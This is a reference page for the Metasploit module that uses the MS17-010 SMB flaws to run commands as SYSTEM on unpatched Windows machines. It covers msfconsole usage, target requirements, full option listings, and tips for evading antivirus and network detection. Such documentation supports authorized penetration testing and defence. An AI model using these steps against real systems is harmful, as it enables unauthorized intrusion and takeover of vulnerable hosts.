MS17-010 EternalRomance/EternalSynergy/EternalChampion SMB Remote Windows Command Execution - Metasploit

This page contains detailed information about how to use the auxiliary/admin/smb/ms17_010_command metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.

Module Overview

Name: MS17-010 EternalRomance/EternalSynergy/EternalChampion SMB Remote Windows Command Execution
Module: auxiliary/admin/smb/ms17_010_command
Source code: modules/auxiliary/admin/smb/ms17_010_command.rb
Disclosure date: 2017-03-14
Last modification time: 2020-10-02 17:38:06 +0000
Supported architecture(s): -
Supported platform(s): -
Target service / protocol: microsoft-ds, netbios-ssn
Target network port(s): 139, 445
List of CVEs: CVE-2017-0143, CVE-2017-0146, CVE-2017-0147

This module is also known as ETERNALSYNERGY, ETERNALROMANCE, ETERNALCHAMPION or ETERNALBLUE.

This module will exploit SMB with vulnerabilities in MS17-010 to achieve a write-what-where primitive. This will then be used to overwrite the connection session information with as an Administrator session. From there, the normal psexec command execution is done. Exploits a type confusion between Transaction and WriteAndX requests and a race condition in Transaction requests, as seen in the EternalRomance, EternalChampion, and EternalSynergy exploits. This exploit chain is more reliable than the EternalBlue exploit, but requires a named pipe.

Module Ranking and Traits

Module Ranking:

normal: The exploit is otherwise reliable, but depends on a specific version and can't (or doesn't) reliably autodetect. More information about ranking can be found here.

Basic Usage

This module is a scanner module, and is capable of testing against multiple hosts.

msf > use auxiliary/admin/smb/ms17_010_command
msf auxiliary(ms17_010_command) > show options
    ... show and set options ...
msf auxiliary(ms17_010_command) > set RHOSTS ip-range
msf auxiliary(ms17_010_command) > exploit

Other examples of setting the RHOSTS option:

Example 1:

msf auxiliary(ms17_010_command) > set RHOSTS 192.168.1.3-192.168.1.200

Example 2:

msf auxiliary(ms17_010_command) > set RHOSTS 192.168.1.1/24

Example 3:

msf auxiliary(ms17_010_command) > set RHOSTS file:/tmp/ip_list.txt

Required Options

RHOSTS: The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'

Knowledge Base

Introduction

MS17-010 and psexec are two of the most popular exploits against Microsoft Windows. This module bolts the two together.

You can run any command as SYSTEM. Note: unlike EternalBlue, kernel shellcode is not used to stage Meterpreter, so you might have to evade your payloads.

CVE-2017-0146 (EternalChampion/EternalSynergy) - exploit a race condition with Transaction requests
CVE-2017-0143 (EternalRomance/EternalSynergy) - exploit a type confusion between WriteAndX and Transaction requests

This module is highly reliable and preferred over EternalBlue where a Named Pipe is accessible for anonymous logins (generally, everything pre-Vista, and relatively common for domain computers in the wild).

Vulnerable Server

To be able to use auxiliary/admin/smb/ms17_010_command:

You can OPTIONALLY use a valid username/password to bypass most of these requirements.
The firewall must allow SMB traffic.
The target must use SMBv1.
The target must be missing the MS17-010 patch.
The target must allow anonymous IPC$ and a Named Pipe.

You can check all of these with the SMB MS17-010 and Pipe Auditor auxiliary scanner modules.

If you're having trouble configuring an anonymous named pipe, Microsoft's documentation on the topic may be helpful.

Verification Steps

At the minimum, you should be able use psexec to get a session with a valid credential using the following:

msf > use auxiliary/admin/smb/ms17_010_command
msf exploit(psexec) > set RHOSTS 192.168.1.80
RHOSTS => 192.168.1.80
msf exploit(psexec) > exploit

Options

By default, using auxiliary/admin/smb/ms17_010_command can be as simple as setting the RHOSTS option, and you're ready to go.

The NAMEDPIPE Option

By default, the module will scan for a list of common pipes for any available one. You can specify one by name.

The LEAKATTEMPTS Option

Information leaks are used to ensure stability of the exploit. Sometimes they don't pop on the first try.

The DBGTRACE Option

Used to debug, gives extremely verbose information.

The SMBUser Option

This is a valid Windows username.

The SMBPass option

This can be either the plain text version or the Windows hash.

Scenarios

Automatic Target

There are multiple targets available for exploit/windows/smb/psexec. The Automatic target is the default target. If the Automatic target detects Powershell on the remote machine, it will try Powershell, otherwise it uses the natvie upload. Each target is explained below.

Powershell Target

The Powershell target forces the psexec module to run a Powershell command with a payload embedded in it. Since this approach does not leave anything on disk, it is a very powerful way to evade antivirus. However, older Windows machines might not support Powershell by default.

Because of this, you will probably want to use the Automatic target setting. The automatic mode will check if the target supports Powershell before it tries it; the manually set Powershell target won't do that.

Native Upload Target

The Native target will attempt to upload the payload (executable) to SYSTEM32 (which can be modified with the SHARE datastore option), and then execute it with psexec.

This approach is generally reliable, but has a high chance of getting caught by antivirus on the target. To counter this, you can try to use a template by setting the EXE::Path and EXE::Template datastore options. Or, you can supply your own custom EXE by setting the EXE::Custom option.

MOF Upload Target

The MOF target technically does not use psexec; it does not explicitly tell Windows to execute anything. All it does is upload two files: the payload (exe) in SYSTEM32 and a managed object format file in SYSTEM32\wbem\mof\ directory. When Windows sees the MOF file in that directory, it automatically runs it. Once executed, the code inside the MOF file basically tells Windows to execute our payload in SYSTEM32, and you get a session.

Although it's a neat trick, Metasploit's MOF library only works against Windows XP and Windows Server 2003. And since it writes files to disk, there is also a high chance of getting caught by antivirus on the target.

The best way to counter antivirus is still the same. You can either use a different template by setting the EXE::Path and EXE::Template datastore options or you can supply your own custom EXE by setting the EXE::Custom option.

Go back to menu.

Msfconsole Usage

Here is how the admin/smb/ms17_010_command auxiliary module looks in the msfconsole:

msf6 > use auxiliary/admin/smb/ms17_010_command

msf6 auxiliary(admin/smb/ms17_010_command) > show info

       Name: MS17-010 EternalRomance/EternalSynergy/EternalChampion SMB Remote Windows Command Execution
     Module: auxiliary/admin/smb/ms17_010_command
    License: Metasploit Framework License (BSD)
       Rank: Normal
  Disclosed: 2017-03-14

Provided by:
  sleepya
  zerosum0x0
  Shadow Brokers
  Equation Group

Check supported:
  No

Basic options:
  Name                  Current Setting                                                              Required  Description
  ----                  ---------------                                                              --------  -----------
  COMMAND               net group "Domain Admins" /domain                                            yes       The command you want to execute on the remote host
  DBGTRACE              false                                                                        yes       Show extra debug trace info
  LEAKATTEMPTS          99                                                                           yes       How many times to try to leak transaction
  NAMEDPIPE                                                                                          no        A named pipe that can be connected to (leave blank for auto)
  NAMED_PIPES           /opt/metasploit-framework/embedded/framework/data/wordlists/named_pipes.txt  yes       List of named pipes to check
  RHOSTS                                                                                             yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
  RPORT                 445                                                                          yes       The Target port (TCP)
  SERVICE_DESCRIPTION                                                                                no        Service description to to be used on target for pretty listing
  SERVICE_DISPLAY_NAME                                                                               no        The service display name
  SERVICE_NAME                                                                                       no        The service name
  SMBDomain             .                                                                            no        The Windows domain to use for authentication
  SMBPass                                                                                            no        The password for the specified username
  SMBSHARE              C$                                                                           yes       The name of a writeable share on the server
  SMBUser                                                                                            no        The username to authenticate as
  THREADS               1                                                                            yes       The number of concurrent threads (max one per host)
  WINPATH               WINDOWS                                                                      yes       The name of the remote Windows directory

Description:
  This module will exploit SMB with vulnerabilities in MS17-010 to 
  achieve a write-what-where primitive. This will then be used to 
  overwrite the connection session information with as an 
  Administrator session. From there, the normal psexec command 
  execution is done. Exploits a type confusion between Transaction and 
  WriteAndX requests and a race condition in Transaction requests, as 
  seen in the EternalRomance, EternalChampion, and EternalSynergy 
  exploits. This exploit chain is more reliable than the EternalBlue 
  exploit, but requires a named pipe.

References:
  https://docs.microsoft.com/en-us/security-updates/SecurityBulletins/2017/MS17-010
  https://nvd.nist.gov/vuln/detail/CVE-2017-0143
  https://nvd.nist.gov/vuln/detail/CVE-2017-0146
  https://nvd.nist.gov/vuln/detail/CVE-2017-0147
  https://github.com/worawit/MS17-010
  https://hitcon.org/2017/CMT/slide-files/d2_s2_r0.pdf
  https://blogs.technet.microsoft.com/srd/2017/06/29/eternal-champion-exploit-analysis/

Also known as:
  ETERNALSYNERGY
  ETERNALROMANCE
  ETERNALCHAMPION
  ETERNALBLUE

Module Options

This is a complete list of options available in the admin/smb/ms17_010_command auxiliary module:

msf6 auxiliary(admin/smb/ms17_010_command) > show options

Module options (auxiliary/admin/smb/ms17_010_command):

   Name                  Current Setting                                                              Required  Description
   ----                  ---------------                                                              --------  -----------
   COMMAND               net group "Domain Admins" /domain                                            yes       The command you want to execute on the remote host
   DBGTRACE              false                                                                        yes       Show extra debug trace info
   LEAKATTEMPTS          99                                                                           yes       How many times to try to leak transaction
   NAMEDPIPE                                                                                          no        A named pipe that can be connected to (leave blank for auto)
   NAMED_PIPES           /opt/metasploit-framework/embedded/framework/data/wordlists/named_pipes.txt  yes       List of named pipes to check
   RHOSTS                                                                                             yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
   RPORT                 445                                                                          yes       The Target port (TCP)
   SERVICE_DESCRIPTION                                                                                no        Service description to to be used on target for pretty listing
   SERVICE_DISPLAY_NAME                                                                               no        The service display name
   SERVICE_NAME                                                                                       no        The service name
   SMBDomain             .                                                                            no        The Windows domain to use for authentication
   SMBPass                                                                                            no        The password for the specified username
   SMBSHARE              C$                                                                           yes       The name of a writeable share on the server
   SMBUser                                                                                            no        The username to authenticate as
   THREADS               1                                                                            yes       The number of concurrent threads (max one per host)
   WINPATH               WINDOWS                                                                      yes       The name of the remote Windows directory

Advanced Options

Here is a complete list of advanced options supported by the admin/smb/ms17_010_command auxiliary module:

msf6 auxiliary(admin/smb/ms17_010_command) > show advanced

Module advanced options (auxiliary/admin/smb/ms17_010_command):

   Name                    Current Setting    Required  Description
   ----                    ---------------    --------  -----------
   CHOST                                      no        The local client address
   CPORT                                      no        The local client port
   ConnectTimeout          10                 yes       Maximum number of seconds to establish a TCP connection
   DCERPC::ReadTimeout     10                 yes       The number of seconds to wait for DCERPC responses
   DELAY                   0                  yes       Wait this many seconds before reading output and cleaning up
   FILEPREFIX                                 no        Add a custom prefix to the temporary files
   NTLM::SendLM            true               yes       Always send the LANMAN response (except when NTLMv2_session is specified)
   NTLM::SendNTLM          true               yes       Activate the 'Negotiate NTLM key' flag, indicating the use of NTLM responses
   NTLM::SendSPN           true               yes       Send an avp of type SPN in the ntlmv2 client blob, this allows authentication on Windows 7+/Server 2008 R2+ when SPN is required
   NTLM::UseLMKey          false              yes       Activate the 'Negotiate Lan Manager Key' flag, using the LM key when the LM response is sent
   NTLM::UseNTLM2_session  true               yes       Activate the 'Negotiate NTLM2 key' flag, forcing the use of a NTLMv2_session
   NTLM::UseNTLMv2         true               yes       Use NTLMv2 instead of NTLM2_session when 'Negotiate NTLM2' key is true
   Proxies                                    no        A proxy chain of format type:host:port[,type:host:port][...]
   RETRY                   0                  yes       Retry this many times to check if the process is complete
   SERVICE_PERSIST         false              yes       Create an Auto run service and do not remove it.
   SMB::AlwaysEncrypt      true               yes       Enforces encryption even if the server does not require it (SMB3.x only). Note that when it is set to false, the SMB client will still encrypt the communication if the server requires it
   SMB::ChunkSize          500                yes       The chunk size for SMB segments, bigger values will increase speed but break NT 4.0 and SMB signing
   SMB::Native_LM          Windows 2000 5.0   yes       The Native LM to send during authentication
   SMB::Native_OS          Windows 2000 2195  yes       The Native OS to send during authentication
   SMB::VerifySignature    false              yes       Enforces client-side verification of server response signatures
   SMBDirect               true               no        The target port is a raw SMB service (not NetBIOS)
   SMBName                 *SMBSERVER         yes       The NetBIOS hostname (required for port 139 connections)
   SSL                     false              no        Negotiate SSL/TLS for outgoing connections
   SSLCipher                                  no        String for SSL cipher - "DHE-RSA-AES256-SHA" or "ADH"
   SSLVerifyMode           PEER               no        SSL verification method (Accepted: CLIENT_ONCE, FAIL_IF_NO_PEER_CERT, NONE, PEER)
   SSLVersion              Auto               yes       Specify the version of SSL/TLS to be used (Auto, TLS and SSL23 are auto-negotiate) (Accepted: Auto, TLS, SSL23, SSL3, TLS1, TLS1.1, TLS1.2)
   ShowProgress            true               yes       Display progress messages during a scan
   ShowProgressPercent     10                 yes       The interval in percent that progress should be shown
   VERBOSE                 false              no        Enable detailed status messages
   WORKSPACE                                  no        Specify the workspace for this module

Auxiliary Actions

This is a list of all auxiliary actions that the admin/smb/ms17_010_command module can do:

msf6 auxiliary(admin/smb/ms17_010_command) > show actions

Auxiliary actions:

   Name  Description
   ----  -----------

Evasion Options

Here is the full list of possible evasion options supported by the admin/smb/ms17_010_command auxiliary module in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):

msf6 auxiliary(admin/smb/ms17_010_command) > show evasion

Module evasion options:

   Name                             Current Setting  Required  Description
   ----                             ---------------  --------  -----------
   DCERPC::fake_bind_multi          true             no        Use multi-context bind calls
   DCERPC::fake_bind_multi_append   0                no        Set the number of UUIDs to append the target
   DCERPC::fake_bind_multi_prepend  0                no        Set the number of UUIDs to prepend before the target
   DCERPC::max_frag_size            4096             yes       Set the DCERPC packet fragmentation size
   DCERPC::smb_pipeio               rw               no        Use a different delivery method for accessing named pipes (Accepted: rw, trans)
   SMB::obscure_trans_pipe_level    0                yes       Obscure PIPE string in TransNamedPipe (level 0-3)
   SMB::pad_data_level              0                yes       Place extra padding between headers and data (level 0-3)
   SMB::pad_file_level              0                yes       Obscure path names used in open/create (level 0-3)
   SMB::pipe_evasion                false            yes       Enable segmented read/writes for SMB Pipes
   SMB::pipe_read_max_size          1024             yes       Maximum buffer size for pipe reads
   SMB::pipe_read_min_size          1                yes       Minimum buffer size for pipe reads
   SMB::pipe_write_max_size         1024             yes       Maximum buffer size for pipe writes
   SMB::pipe_write_min_size         1                yes       Minimum buffer size for pipe writes
   TCP::max_send_size               0                no        Maxiumum tcp segment size.  (0 = disable)
   TCP::send_delay                  0                no        Delays inserted before every send.  (0 = disable)

Go back to menu.

References

Authors

sleepya
zerosum0x0
Shadow Brokers
Equation Group

Version

This page has been produced using Metasploit Framework version 6.1.28-dev. For more modules, visit the Metasploit Module Library.

Go back to menu.

MS17-010 EternalRomance/EternalSynergy/EternalChampion SMB Remote Windows Command Execution - Metasploit

Module Overview

Module Ranking and Traits

Basic Usage

Required Options

Knowledge Base

Introduction

Vulnerable Server

Verification Steps

Options

Scenarios

Msfconsole Usage

Module Options

Advanced Options

Auxiliary Actions

Evasion Options

References

See Also

Authors

Version

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MS17-010 EternalRomance/EternalSynergy/EternalChampion SMB Remote Windows Command Execution - Metasploit

Module Overview

Module Ranking and Traits

Basic Usage

Required Options

Knowledge Base

Introduction

Vulnerable Server

Verification Steps

Options

Scenarios

Msfconsole Usage

Module Options

Advanced Options

Auxiliary Actions

Evasion Options

Related Pull Requests

References

See Also

Authors

Version